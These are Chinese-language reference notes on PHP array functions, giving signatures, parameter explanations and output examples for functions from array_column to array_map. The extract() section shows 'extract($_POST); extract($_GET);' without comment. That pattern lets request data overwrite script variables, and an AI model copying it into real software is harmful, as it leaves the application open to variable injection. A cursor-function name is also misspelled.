input: 需要取出数组列的多维数组 如提供包含一组对象的数组,只有public属性会被直接取出,为了也能取出private和protected属性,类必须实现__get()和__isset()魔术方法
column_key: 需要返回值的列,可以是索引数组的列索引或关联数组的列的键,也可以是属性名,也可以是NULL,此时将返回整个数组(配index_key参数来重置数组键的时候,非常管用)
index_key: 作为返回数组的索引/键的列,它可以是该列的整数索引或字符串键值
【 array_pop() 】
array_pop ( array &$array ): mixed
将最后一个元素弹出(出栈),返回弹出元素的值,最后数组长度-1,空数组则返回null,调用此函数去处理非数组的值会产生E_WARNING级别的错误
使用此函数后会重置(reset())array指针
【 array_push() 】
array_push ( array &$array ,mixed $value1 [,mixed $... ] ): int
将一个或多个元素压入数组末尾,入栈,array的长度将根据入栈变量的数目增加,返回数组的新长度
如果用array_push()来给数组增加一个单元,还不如用$array[] = $var;因为这样没有调用函数的额外负担
如果第一个参数不是数组,array_push()将发出一条警告,这和$var[]的行为不同,后者会新建一个数组
【 array_shift() 】
array_shift ( array &$array ): mixed
将第一个元素移出数组并作为结果返回,array的长度减一并将所有其它单元向前移动一位。所有的数字键名将改为从零开始计数,文字键名将不变
如果array为空或不是一个数组则返回NULL,使用此函数后会重置(reset())array指针
【 array_unshift() 】
array_unshift ( array &$array ,mixed $value1 [,mixed $... ] ): int
在数组开头插入一或多个元素,单元是作为整体被插入的,因此传入单元将保持同样的顺序。所有的数值键名将修改为从零开始重新计数,所有的文字键名保持不变
返回array数组新的单元数目
$queue = array("orange","banana");
var_export($queue); // array ( 0 => 'orange',1 => 'banana',)
$res = array_unshift($queue,"apple","raspberry");
var_dump($res); // int 4
var_export($queue); // array ( 0 => 'apple',1 => 'raspberry',2 => 'orange',3 => 'banana',)
【 array_unique() 】
array_unique ( array $array [,int $sort_flags = SORT_STRING ] ): array
一维数组去重,移出数组中重复的值,接受array作为输入并返回没有重复值的新数组,键名保留不变
先将值作为字符串排序,然后对每个值只保留第一个遇到的键名,接着忽略所有后面的键名,这并不意味着在未排序的array中同一个值的第一个出现的键名会被保留。
当且仅当(string) $elem1 === (string) $elem2时两个单元被认为相同,例如字符串表达一样时会使用首个元素。
第二个可选参数sort_flags排序类型标记可用于修改排序行为:
SORT_REGULAR - 按照通常方法比较(不修改类型)
SORT_NUMERIC - 按照数字形式比较
SORT_STRING - 按照字符串形式比较
SORT_LOCALE_STRING - 根据当前的本地化设置,按照字符串比较。
$input = array("a" => "green","red","b" => "green","blue","red");
var_export(array_unique($input)); // array ( 'a' => 'green',0 => 'red',1 => 'blue',)
$input = array(4,"4","3",4,3,"3");
var_export(array_unique($input)); // array ( 0 => 4,2 => '3',)
大型数组删除重复项
array_unique($array);
array_keys(array_flip($array)); // 替代方法快1.8倍
【 二维数组去重,原关联数组会换成索引数组 】二维数组根据某字段去重
【 array_chunk() 】
array_chunk ( array $array ,int $size [,bool $preserve_keys = false ] ): array
将一个数组分割成多个数组,其中每个数组的单元数目由size决定,最后一个数组的单元数目可能会少于size
preserve_keys参数设为TRUE可以使PHP保留输入数组中原来的键名,指定FALSE则每个结果数组将用从零开始的新数字索引
如果size小于1会抛出一个E_WARNING错误并返回NULL
$input_array = array('a','b','c','d','e');
var_export(array_chunk($input_array,2));
// array ( 0 => array ( 0 => 'a',1 => 'b',),1 => array ( 0 => 'c',1 => 'd',),2 => array ( 0 => 'e',),)
var_export(array_chunk($input_array,2,true));
// array ( 0 => array ( 0 => 'a',1 => 'b',),1 => array ( 2 => 'c',3 => 'd',),2 => array ( 4 => 'e',),)
【 shuffle() 】
shuffle ( array &$array ): bool
随机排列单元的顺序,打乱数组,使用的是伪随机数产生器,并不适合密码学的场合
成功时返回TRUE,失败时返回FALSE
【 array_reverse() 】
array_reverse ( array $array [,bool $preserve_keys = false ] ): array
数组元素反转排序,不改变原数组
参数preserve_keys设置为TRUE会保留数字的键,非数字的键则不受这个设置的影响总是会被保留
【 array_flip() 】
array_flip ( array $array ): array
交换数组中所有的键名及关联的键值,成功时返回交换后的数组,失败返回NULL
array中的值需要能够作为合法的键名如integer或string,如果类型不对将出现一个警告并且有问题的键/值对将不会出现在结果里。
如果同一个值出现多次则最后一个键名将作为它的值,其它键会被丢弃
$input = array("oranges","apples","pears");
var_export(array_flip($input)); // array ( 'oranges' => 0,'apples' => 1,'pears' => 2,)
$input = array("a" => 1,"b" => 1,"c" => 2);
var_export(array_flip($input)); // array ( 1 => 'b',2 => 'c',)
【 array_replace() 】
array_replace ( array $array1 ,array $array2 [,array $... ] ): array
使用传递的数组替换第一个数组中具有相同键名的元素,如果发生错误将返回NULL
如果一个键存在于第一个数组同时也存在于第二个数组则它的值将被第二个数组中的值替换。
如果一个键存在于第二个数组但不存在于第一个数组则会在第一个数组中创建这个元素。
如果一个键仅存在于第一个数组,它将保持不变。
如果传递了多个替换数组,它们将被按顺序依次处理,后面的数组将覆盖之前的值。
array_replace是非递归的: 它将第一个数组的值进行替换而不管第二个数组中是什么类型。
$a1=array("red","green");
$a2=array("blue","yellow");
print_r(array_replace($a1,$a2)); // Array ( [0] => blue [1] => yellow )
如果一个键存在于第一个数组array1 同时也存在于第二个数组array2,第一个数组array1中的值将被第二个数组array2中的值替换。如果一个键仅存在于第一个数组array1,它将保持不变
$a1=array("a"=>"red","b"=>"green");
$a2=array("a"=>"orange","burgundy");
print_r(array_replace($a1,$a2)); // Array ( [a] => orange [b] => green [0] => burgundy )
如果一个键存在于第二个数组array2,但是不存在于第一个数组array1,则会在第一个数组array1中创建这个元素。
$a1=array("a"=>"red","green");
$a2=array("a"=>"orange","b"=>"burgundy");
print_r(array_replace($a1,$a2)); // Array ( [a] => orange [0] => green [b] => burgundy )
使用三个数组 - 最后一个数组($a3)将覆盖之前数组($a1和$a2):
$a1=array("red","green");
$a2=array("blue","yellow");
$a3=array("orange","burgundy");
print_r(array_replace($a1,$a2,$a3)); // Array ( [0] => orange [1] => burgundy )
使用数值键 - 如果一个键存在于第二个数组array2,但是不存在于第一个数组array1,则会在第一个数组array1中创建这个元素:
$a1=array("red","green","blue","yellow");
$a2=array(0=>"orange",3=>"burgundy");
print_r(array_replace($a1,$a2)); // Array ( [0] => orange [1] => green [2] => blue [3] => burgundy )
$base = array("orange","banana","apple","raspberry");
$replacements = array(0 => "pineapple",4 => "cherry");
$replacements2 = array(0 => "grape");
$basket = array_replace($base,$replacements,$replacements2);
var_export($basket); // array ( 0 => 'grape',1 => 'banana',2 => 'apple',3 => 'raspberry',4 => 'cherry',)
array_replace和array_merge的区别表现在处理数字索引的数据时,array_merge会认为是不同的索引,不会进行覆盖,而array_replace则进行了覆盖。实际上array_replace和数组的+法运算的处理比较类似,但是参数的顺序得调换一下位置,array_replace($base, $replace) = $replace + $base
$base = array( 'name' => 'Lily', 'age' => 20, 'value1', );
$replace = array( 'name' => 'Lucy', 'addres' => 'Hubei', 'value2', );
var_export(array_merge($base, $replace)); // array('name'=>'Lucy','age'=>20,0=>'value1','addres'=>'Hubei',1 =>'value2')
var_export(array_replace($base, $replace)); // array('name'=>'Lucy','age'=>20,0=>'value2','addres'=>'Hubei')
【 array_replace_recursive() 】
array_replace_recursive ( array $array1 ,array $array2 [,array $... ] ): array
使用后面传递的数组递归替换第一个数组的元素,如果发生错误将返回NULL
如果一个键存在于第一个数组同时也存在于第二个数组,它的值将被第二个数组中的值替换。 如果一个键存在于第二个数组,但不存在于第一个数组,则会在第一个数组中创建这个元素。
如果一个键仅存在于第一个数组,它将保持不变。
如果传递了多个替换数组,它们将被按顺序依次处理,后面的数组将覆盖之前的值。
array_replace_recursive()是递归的: 遍历数组并将相同的处理应用到数组的内部值。
如果数组array1中的值是标量,它的值将被第二个数组array2中的值替换,它可能是一个标量或数组。如果array1和array2中的值都是数组,array_replace_recursive()函数将递归地替换它们各自的值。
$base = array('citrus' => array( "orange") ,'berries' => array("blueberry","raspberry"),);
$replacements = array('citrus' => array('pineapple'),'berries' => array('blueberry'));
var_export(array_replace($base,$replacements)); // array('citrus' => ['pineapple'],'berries' => ['blueberry'])
var_export(array_replace_recursive($base,$replacements)); // array('citrus'=>['pineapple'],'berries'=>['blueberry', 'raspberry'])
$base = ['citrus' => ["orange"] ,'berries' => ["blackberry","raspberry"],'others' => 'banana'];
$replacements = ['citrus' => 'pineapple','berries' => ['blueberry'],'others' => ['litchis']];
$replacements2 = ['citrus' => ['pineapple'],'berries' => ['blueberry'],'others' => 'litchis'];
var_export(array_replace_recursive($base,$replacements,$replacements2)); // ['citrus'=> ['pineapple'],'berries'=> ['blueberry','raspberry'],'others'=> 'litchis']
【 array_fill() 】
array_fill ( int $start_index ,int $num ,mixed $value ): array
用给定的值value将一个数组填充num个条目,键名数字索引由start_index参数指定的开始并递增,如果number为0或小于0就会出错E_WARNING
如果start_index是负数则返回的数组的第一个索引将会是start_index,而后面索引则从0开始
var_export(array_fill(5,4,'banana')); // array ( 5 => 'banana',6 => 'banana',7 => 'banana',8 => 'banana',)
var_export(array_fill(-5,4,'pear')); // array ( -5 => 'pear',0 => 'pear',1 => 'pear',2 => 'pear',)
var_export(array_fill(0,3,array_fill(0,3,0))); // [[0,0,0], [0,0,0], [0,0,0]]
【 array_fill_keys() 】
array_fill_keys ( array $keys ,mixed $value ): array
使用keys数组的值作为键和值value作为值填充数组,返回填充后的数组,keys非法值将被转换为字符串。
【 array_pad() 】
array_pad ( array $array ,int $size ,mixed $value ): array
返回array的一个拷贝,并用value将其填补到size指定的长度,size为正则填补到数组的右侧,为负则从左侧开始填补,size的绝对值小于或等于array数组的长度则没有任何填补,一次最多填补1048576个单元
设置默认值
$input = array(12,10,9);
$result = array_pad($input,5,0); // array(12,10,9,0,0)
$result = array_pad($input,-7,-1); // array(-1,-1,-1,-1,12,10,9)
$result = array_pad($input,2,"noop"); // not padded
【 range() 】
range ( mixed $start ,mixed $end [,number $step = 1 ] ): array
建立一个包含指定范围单元的数组,含start和end
start 序列的第一个值。
end 序列结束于end的值。
step 步长step会被作为单元之间的步进值,step应该为正值,默认为1
foreach (range(0,12) as $number):
echo $number; // array(0,1,2,3,4,5,6,7,8,9,10,11,12)
endforeach;
使用step
foreach (range(0,100,10) as $number):
echo $number; // array(0,10,20,30,40,50,60,70,80,90,100)
endforeach;
var_export(range(0,12,5)); // array ( 0 => 0, 1 => 5, 2 => 10, )
var_export(range(0,12,12)); // array ( 0 => 0, 1 => 12, )
var_export(range(0,12,24)); // return false, PHP Warning: range(): step exceeds the specified range in php shell code on line 1
var_export(range(0,12,13)); // return false, PHP Warning: range(): step exceeds the specified range in php shell code on line 1
字符序列的使用
foreach (range('a','i') as $letter):
echo $letter; // array('a','b','c','d','e','f','g','h','i')
endforeach;
foreach (range('c','a') as $letter):
echo $letter; // array('c','b','a');
endforeach;
var_export(array_combine(range(11,14),range(1,4))); // array( 11 => 1, 12 => 2, 13 => 3, 14 => 4 )
【 array_rand() 】
array_rand ( array $array [,int $num = 1 ] ): mixed
从数组中随机返回一或多个元素,返回数组中的随机键名,或如果规定函数返回不只一个键名,则返回包含随机键名的数组
array参数必需,规定数组
number可选参数规定返回多少随机键名
如果只取出一个,array_rand()返回随机单元的键名,否则就返回包含随机键名的数组,完成后就可以根据随机的键获取数组的随机值。取出数量如果超过array的长度,就会导致E_WARNING错误,并返回NULL
大数组选择一个随机值
array_rand($array);
$array[mt_rand(0, count($array) - 1)]; // 速度快27.3倍
【 php7.1+数组解构赋值 】 关联数组解构 $array = ["a" => 1, "b" => 2, "c" => 3]; ["a"=>$a, "c"=>$c] = $array; echo $a,$c; // 13 索引数组解构 [$a, $b, $c] = [1, 2, 3];
【 list() 】 list ( mixed $var1 [,mixed $... ] ): array 把数组中的值赋给一组变量,用于在一次操作中给一组变量赋值,只用于数字索引的数组,且假定数字索引从0开始 像array()类似,这不是真正的函数,而是语言结构用list()给嵌套的数组解包
【 compact() 】
compact( mixed $varname1 [,mixed $... ] ): array
创建一个包含变量名与其值的数组,即将多个变量组成数组,任何没有变量名与之对应的字符串都被略过。
和extract()正好相反。返回将所有变量添加进去后的数组。
compact()接受任意多个参数,每个参数可以是一个包括变量名的字符串或包含变量名的数组,该数组中还可以包含其它单元内容为变量名的数组,compact()可以递归处理。
因为可变变量也许不能在函数内部用于PHP的超全局数组,此时不能将超全局数组传递入compact()中
$firstname = "Bill";
$lastname = "Gates";
$age = "60";
$postData = compact("firstname","lastname","age","city");
var_export(compact("firstname","lastname","age","city")); // array('firstname' => 'Bill','lastname' => 'Gates','age' => '60')
var_export(compact("firstname",["lastname","age","city"])); // array('firstname' => 'Bill','lastname' => 'Gates','age' => '60')
【 extract() 】
extract ( array &$array [,int $flags = EXTR_OVERWRITE [,string $prefix = NULL ]] ): int
从数组中将变量导入到当前的符号表
检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突
返回成功导入到符号表中的变量数目
extract($_POST);
extract($_GET);
参数
array
一个关联数组。此函数会将键名当作变量名,值作为变量的值 对每个键值对都会在当前的符号表中建立变量,并受到flags和prefix参数的影响
必须使用关联数组,数字索引的数组将不会产生结果,除非用了EXTR_PREFIX_ALL或EXTR_PREFIX_INVALID
flags
对待非法/数字和冲突的键名的方法将根据取出标记flags参数决定。可以是以下值之一:
EXTR_OVERWRITE 如果有冲突,覆盖已有的变量
EXTR_SKIP 如果有冲突,不覆盖已有的变量
EXTR_PREFIX_SAME 如果有冲突,在变量名前加上前缀prefix
EXTR_PREFIX_ALL 给所有变量名加上前缀prefix
EXTR_PREFIX_INVALID 仅在非法/数字的变量名前加上前缀 prefix
EXTR_IF_EXISTS 仅在当前符号表中已有同名变量时覆盖它们的值,其它的不处理,使用场景:定义一些有效变量,然后从$_REQUEST中仅导入这些已定义的变量
EXTR_PREFIX_IF_EXISTS 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理
EXTR_REFS 将变量作为引用提取。这有力地表明了导入的变量仍然引用了array参数的值。可以单独使用这个标志或在flags中用OR与其它任何标志结合使用
如果没有指定flags,则被假定为EXTR_OVERWRITE
prefix
仅在flags值是EXTR_PREFIX_SAME,EXTR_PREFIX_ALL,EXTR_PREFIX_INVALID或EXTR_PREFIX_IF_EXISTS时需要
如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。前缀和数组键名之间会自动加上一个下划线
数组的集合操作
【 array_slice() 】
array_slice ( array $array , int $offset [, int $length = NULL [, bool $preserve_keys = false ]] ) : array
数组切片,返回根据offset和length参数所指定的array数组中的一段序列,如果offset参数大于array尺寸就会返回空的array
array: 输入的数组。
offset: 如果offset非负则序列将从array中的此偏移量开始。如果offset为负则序列将从array中距离末端这么远的地方开始。
length: 如果给出了length并且为正则序列中将具有这么多的单元。如果给出了length并且为负则序列将终止在距离数组末端这么远的地方。如果省略则序列将从offset开始一直到array的末端。
preserve_keys: array_slice()默认会重新排序并重置数组的数字索引。可以通过将preserve_keys设为TRUE来改变此行为。
$a=array("red","green","blue","yellow","brown");
var_export(array_slice($a,2)); // array ( 0 => 'blue', 1 => 'yellow', 2 => 'brown', )
var_export(array_slice($a,1,2)); // array ( 0 => 'green', 1 => 'blue', )
var_export(array_slice($a,-2,1)); // array ( 0 => 'yellow', )
var_export(array_slice($a,1,2,true)); // array ( 1 => 'green', 2 => 'blue', )
$a=array("a"=>"red","b"=>"green","c"=>"blue","d"=>"yellow","e"=>"brown");
var_export(array_slice($a,1,2)); // array ( 'b' => 'green', 'c' => 'blue', )
$a=array("0"=>"red","1"=>"green","2"=>"blue","3"=>"yellow","4"=>"brown");
var_export(array_slice($a,1,2)); // array ( 0 => 'green', 1 => 'blue', )
数组分页
【 array_splice() 】
array_splice ( array &$input , int $offset [, int $length = count($input) [, mixed $replacement = array() ]] ) : array
去掉数组中的某一部分并用其它值取代,返回一个包含有被移除单元的数组
把input数组中由offset和length指定的单元去掉,如果提供了replacement参数则用其中的单元取代。input中的数字键名不被保留。
如果replacement不是数组,会被类型转换成数组 (例如(array) $replacement)。 当传入的replacement是个对象或NULL会导致未知的行为出现
input: 输入的数组。
offset: 如果offset为正则从input数组中该值指定的偏移量开始移除。如果offset为负则从input末尾倒数该值指定的偏移量开始移除。
length: 省略length则移除数组中从offset到结尾的所有部分,指定正length则移除这么多单元,指定负length则移除从offset到数组末尾倒数length为止中间所有的单元,length为零不会移除单元。当给出了replacement时要移除从offset到数组末尾所有单元时,用count($input)作为length
replacement: 如果给出了replacement数组,则被移除的单元被此数组中的单元替代。
如果offset和length的组合结果是不会移除任何值,则replacement数组中的单元将被插入到offset指定的位置,替换数组中的键名不保留。
如果用来替换replacement只有一个单元,那么不需要给它加上array(),除非该单元本身就是一个数组、一个对象或NULL
$input = array("red", "green", "blue", "yellow");
array_splice($input, 2); // $input is now array("red", "green")
$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, -1); // $input is now array("red", "yellow")
$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, count($input), "orange"); // $input is now array("red", "orange")
$input = array("red", "green", "blue", "yellow");
array_splice($input, -1, 1, array("black", "maroon")); // $input is now array("red", "green", "blue", "black", "maroon")
$input = array("red", "green", "blue", "yellow");
array_splice($input, 3, 0, "purple"); // $input is now array("red", "green", "blue", "purple", "yellow");
// 添加两个新元素到$input
array_push($input, $x, $y);
array_splice($input, count($input), 0, array($x, $y));
// 移除$input中的最后一个元素
array_pop($input);
array_splice($input, -1);
// 移除$input中第一个元素
array_shift($input);
array_splice($input, 0, 1);
// 在$input的开头插入一个元素
array_unshift($input, $x, $y);
array_splice($input, 0, 0, array($x, $y));
// 在$input的索引$x处替换值
$input[$x] = $y; // 对于键名和偏移量等值的数组
array_splice($input, $x, 1, $y);
【 数组+加号运算符 】
把右边的数组元素附加到左边的数组后面,两个数组中同名的键名则只用左边数组中的,右边的被忽略
【 array_combine() 】
array array_combine ( array $keys ,array $values )
通过合并两个数组来创建一个新数组,其中一个数组的值是键名,另一个数组的值为键值
$a = array('green','red','yellow');
$b = array('avocado','apple','banana');
$c = array_combine($a,$b);
var_export($c); // array ( 'green' => 'avocado','red' => 'apple','yellow' => 'banana',)
【 array_merge() 】
array array_merge ( array $array1 [,array $... ] )
数组求并集,将一个或多个数组的单元合并起来,一个数组中的值附加在前一个数组的后面,返回作为结果的数组。
输入的数组中有相同的字符串键名则该键名后面的值将覆盖前一个值。如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。
如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
【 array_merge_recursive() 】
array array_merge_recursive ( array $array1 [,array $... ] )
递归地合并一或多个数组,一个数组中的值附加在前一个数组的后面,返回作为结果的数组。
如果输入的数组中有相同的字符串键名则这些值会被合并到一个数组中去,这将递归下去,因此如果一个值本身是一个数组,本函数将按照相应的条目把它合并为另一个数组。然而如果数组具有相同的数组键名,后一个值将不会覆盖原来的值,而是附加到后面
$ar1 = array("color" => array("favorite" => "red"),5);
$ar2 = array(10,"color" => array("favorite" => "green","blue"));
var_export(array_merge_recursive($ar1,$ar2));
// array('color' => array ( 'favorite' => array ( 0 => 'red',1 => 'green',),0 => 'blue',),0 => 5,1 => 10)
【 array_intersect() 】
array array_intersect ( array $array1 ,array $array2 [,array $... ] )
比较多个数组的键的值并返回交集,返回的数组包括所有在array1中也同时出现在所有其它参数数组中的值,键名保留不变
$a1=array("a"=>"red","b"=>"green","c"=>"blue","d"=>"yellow");
$a2=array("e"=>"red","f"=>"black","g"=>"purple");
$a3=array("a"=>"red","b"=>"black","h"=>"yellow");
var_dump(array_intersect($a1,$a2,$a3)); // ["a"=>"red"]
【 array_intersect_key 】
array_intersect_key ( array $array1 , array $array2 [, array $... ] ) : array
使用键名比较计算数组的交集,返回一个数组,该数组包含了所有出现在array1中并同时出现在所有其它参数数组中的键名的值
键名比较执行的是严格类型检查
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);
var_dump(array_intersect_key($array1, $array2)); // ['blue' => 1, 'green' => 3]
function filterByKey($data = [], $fields = []) {
return !empty($fields) ? array_intersect_key($data, array_flip($fields)) : $data;
}
【 array_intersect_ukey() 】
array_intersect_ukey ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array
用回调函数比较键名来计算数组的交集,返回的数组包含了所有出现在array1中并同时出现在所有其它参数数组中的键名的值。
key_compare_func在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的整数。
callback ( mixed $a, mixed $b ) : int
【 array_intersect_assoc() 】
array_intersect_assoc ( array $array1 ,array $array2 [,array $... ] ): array
带索引检查计算数组的交集,返回的数组包含所有在array1中也同时出现在所有其它参数数组中的值,和array_intersect()不同的是键名也用于比较
$array1 = array("a" => "green","b" => "brown","c" => "blue","red");
$array2 = array("a" => "green","b" => "yellow","blue","red");
print_r(array_intersect_assoc($array1,$array2)); // [ "a" => "green"]
【 array_intersect_uassoc() 】
array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array
带索引检查计算数组的交集,用回调函数比较索引
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");
print_r(array_intersect_uassoc($array1, $array2, "strcasecmp")); // ["b" => "brown"]
【 array_diff() 】
array_diff ( array $array1 , array $array2 [, array $... ] ) : array
计算数组的差集,返回的数组包括了所有在array1中但不在任何其它参数数组中的值,键名保留不变
$array1 = array("a" => "green", "red", "blue", "red");
$array2 = array("b" => "green", "yellow", "red");
var_dump(array_diff($array1, $array2)); // [ 1 => "blue" ]
empty(array_diff($arr1, $arr2)) && echo "两数组相同"
【 array_udiff() 】
array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
用回调函数比较数据来计算数组的差集,和array_diff()不同的是前者使用内置函数进行数据比较
value_compare_func回调对照函数,在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的整数。
callback ( mixed $a, mixed $b ) : int
【 array_diff_assoc() 】
array_diff_assoc ( array $array1 , array $array2 [, array $... ] ) : array
带索引检查计算数组的差集
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
var_export(array_diff_assoc($array1, $array2)); // array('b' => 'brown','c' => 'blue',0 => 'red')
【 array_diff_uassoc() 】
用用户提供的回调函数做索引检查来计算数组的差集
【 array_udiff_assoc() 】
带索引检查计算数组的差集,用回调函数比较数据
【 array_udiff_uassoc() 】
带索引检查计算数组的差集,用回调函数比较数据和索引
【 array_diff_key() 】
array_diff_key ( array $array1 , array $array2 [, array $... ] ) : array
使用键名比较计算数组的差集
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);
var_export(array_diff_key($array1, $array2)); // array ('red' => 2,'purple' => 4)
【 array_diff_ukey() 】
用回调函数对键名比较计算数组的差集
本函数只检查了多维数组中的一维,可以用array_diff_ukey($array1[0], $array2[0], 'callback_func');来检查更深的维度
数组排序
数组排序函数对比
函数名称 排序依据 数组索引键保持 排序的顺序 相关函数
array_multisort() 值 键值关联的保持,数字类型的不保持 第一个数组或者由选项指定 array_walk()
asort() 值 是 由低到高 arsort()
arsort() 值 是 由高到低 asort()
krsort() 键 是 由高到低 ksort()
ksort() 键 是 由低到高 asort()
natcasesort() 值 是 自然排序,大小写不敏感 natsort()
natsort() 值 是 自然排序 natcasesort()
rsort() 值 否 由高到低 sort()
shuffle() 值 否 随机 array_rand()
sort() 值 否 由低到高 rsort()
uasort() 值 是 由用户定义 uksort()
uksort() 键 是 由用户定义 uasort()
usort() 值 否 由用户定义 uasort()
sort() - 根据值,以升序对数组排序,重建索引键值关系
rsort() - 根据值,以降序对数组排序
asort() - 根据值,以升序对关联数组进行排序,关联数组,保持键值关系
ksort() - 根据键,以升序对关联数组进行排序
arsort() - 根据值,以降序对关联数组进行排序
krsort() - 根据键,以降序对关联数组进行排序
sort ( array &$array [, int $sort_flags = SORT_REGULAR ] ) : bool
成功时返回TRUE,否则FALSE
可选的第二个参数 sort_flags 可以用以下值改变排序的行为:
排序类型标记:
SORT_REGULAR - 正常比较单元(不改变类型)
SORT_NUMERIC - 单元被作为数字来比较
SORT_STRING - 单元被作为字符串来比较
SORT_LOCALE_STRING - 根据当前的区域(locale)设置来把单元当作字符串比较,可以用setlocale()来改变。
SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序
SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并(OR 位运算),不区分大小写排序字符串
$fruits = array("lemon", "orange", "banana", "apple");
sort($fruits);
var_export($fruits); // array ('apple','banana','lemon','orange')
$fruits = array("Orange1", "orange2", "Orange3", "orange20");
sort($fruits, SORT_NATURAL | SORT_FLAG_CASE); // 使用不区分大小写自然排序
var_export($fruits); // array ('Orange1','orange2','Orange3','orange20')
【 usort() 】
usort ( array &$array , callable $value_compare_func ) : bool
使用用户自定义的比较函数对数组中的值进行排序,成功时返回TRUE,否则FALSE
此函数为array中的元素赋与新的键名,这将删除原有的键名,而不是仅仅将键名重新排序
cmp_function: 在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的整数。
callback ( mixed $a, mixed $b ) : int
随着数据量的增加,usort执行时间也明显相应变大。特别对于函数调用次数,增长的幅度更为明显,并且是绝对值。即不管是什么配置的服务器,函数调用次数都是不变的 每次函数的调用都存在上下文切换的开销,频繁的函数调用,会产生频繁的堆栈操作。这也是为什么C/C++语言会支持内联函数。代码执行大部分时间都花在了函数的调用上,剩下的时间则花在了自定义函数本身的执行上。 使用array_multisort速度上提升很多,并且函数调用次数大大减少,但也不要开心太早,因为array_multisort()函数会消耗更多的内存。这正是典型的空间换时间的做法。但作为真实的终端用户,他不会关心服务器使用了多少内存,他只关心打开的网站是否顺畅,能不能在更短的时间内浏览到他感兴趣的商品。如果不行,他就会离我们而去 对于同一个函数,不同级别的数据量,其需要的执行时间是大有不同的。选择合适的底层函数,对项目、对系统、对用户都是非常有益的。简单来说,在大型系统开发中要慎用usort()函数 【 array_multisort() 】 array_multisort(array &$array1 [, mixed $array1_sort_order=SORT_ASC [, mixed $array1_sort_flags=SORT_REGULAR [, mixed $...]]] ): bool 对多个数组排序,或根据某一或多维对多维数组排序,关联键名保持不变,数字键名会被重新索引。成功时返回TRUE,否则FALSE 输入数组被当成一个表的列并以行来排序,类似于SQL的ORDER BY子句的功能,第一个数组是要排序的主要数组。数组中的行(值)比较为相同的话就按照下一个输入数组中相应值的大小来排序,依此类推 array1 要排序的array array1_sort_order 指定array排序顺序,SORT_ASC升顺排序(默认),SORT_DESC降序排序,可以和array1_sort_flags互换,也可以完全删除 array1_sort_flags 指定array排序类型,参数可以和array1_sort_order交换或省略: SORT_REGULAR - 默认,将项目按照通常方法比较,不修改类型 SORT_NUMERIC - 按照数字大小比较 SORT_STRING - 按照字符串比较 SORT_LOCALE_STRING - 根据当前的本地化设置,按照字符串比较,会使用locale信息,可以通过setlocale()修改此信息。 SORT_NATURAL - 以字符串的"自然排序",类似natsort() SORT_FLAG_CASE - 可以组合(按位或OR)SORT_STRING或SORT_NATURAL大小写不敏感的方式排序字符串。 ... 可选,可提供更多数组,跟随在sort_order和sort_flag之后,提供的数组和之前的数组要有相同数量的元素,即排序是按字典顺序排列多维数组根据字段排序
循环遍历数组
遍历数组前判断$arr是否是一个正常数组: is_array($arr)
1.foreach遍历
foreach($arr as $key=>$value) {}
foreach($arr as $value) {}
替代语法:
foreach($array as $element):
#do something
endforeach;
2.for 只能用于索引数组
3.while(list($key, $value) = each($arr)){}
each($arr)获取单个数组元素,并自动将指针指向下一个元素,直到返回false
【 each() 】
array each ( array &$array )
返回数组当前键/值对并将数组指针向前移动一步停留在数组中的下一个单元或当碰到数组结尾时停留在最后一个单元,如果要再用each遍历数组,必须使用reset()
warning:This function has been DEPRECATED as of PHP 7.2.0. Relying on this function is highly discouraged
返回值
返回array数组中当前指针位置的键值对并向前移动数组指针。键值对被返回为四个单元的数组,键名为0,1,key和value。单元0和key包含有数组单元的键名,1和value包含有数据。
如果内部指针越过了数组的末端则each()返回FALSE
each()经常和list()结合使用来遍历数组each()的替换方法4.数组游标操作 key($arr) 从关联数组中取得当前键名 current($arr) 返回数组中当前元素的值,最后false reset($arr) 将数组内部指针复位,指向第一个元素 next($arr) 指针向前一位,返回元素的值,最后返回false pre($arr) 指针倒回一位 end($arr) 指向最后一个元素 【 end() 】 mixed end( array &$array ) 将数组的内部指针移动到最后一个单元并返回其值,如果是空数组则返回FALSE 参数arra通过引用传递的,因为它会被这个函数修改,即必须传入一个真正的变量,而不是函数返回的数组,因为只有真正的变量才能以引用传递。
【 array_map() 】
array_map ( callable $callback ,array $array1 [,array $... ] ): array
将自定义函数callback作用到数组array1的每个值上,并返回该函数作用后的带有新值的数组
参数
callback 回调函数,应用到每个数组里的每个元素,callbac函数形参的数量和传给array_map()数组数量,两者必须一样
array1 数组,遍历运行callback函数。
... 数组列表,每个都遍历运行callback函数。
$_GET = array_map('trim', $_GET);
map主要是为了得到回调函数处理后的新数组,要的是结果。
walk主要是对每个参数都使用一次回调函数,要的是处理的过程。
walk可以认为提供额外参数给回调函数,map不可以
walk主要是要对数组内的每个值进行操作,操作结果影响原来的数组
map主要是对数组中的值进行操作后返回数组,以得到一个新数组
walk可以没有返回值,map要有,因为要填充数组
遍历数组: array_map、array_walk、array_filter
相同点: 都是利用回调函数对数组中每个元素进行操作。
不同点:
返回值
回调函数的参数
是否改变数组的值
array_map返回新数组,原数组不变,新数组和原数组的数组长度应该一样
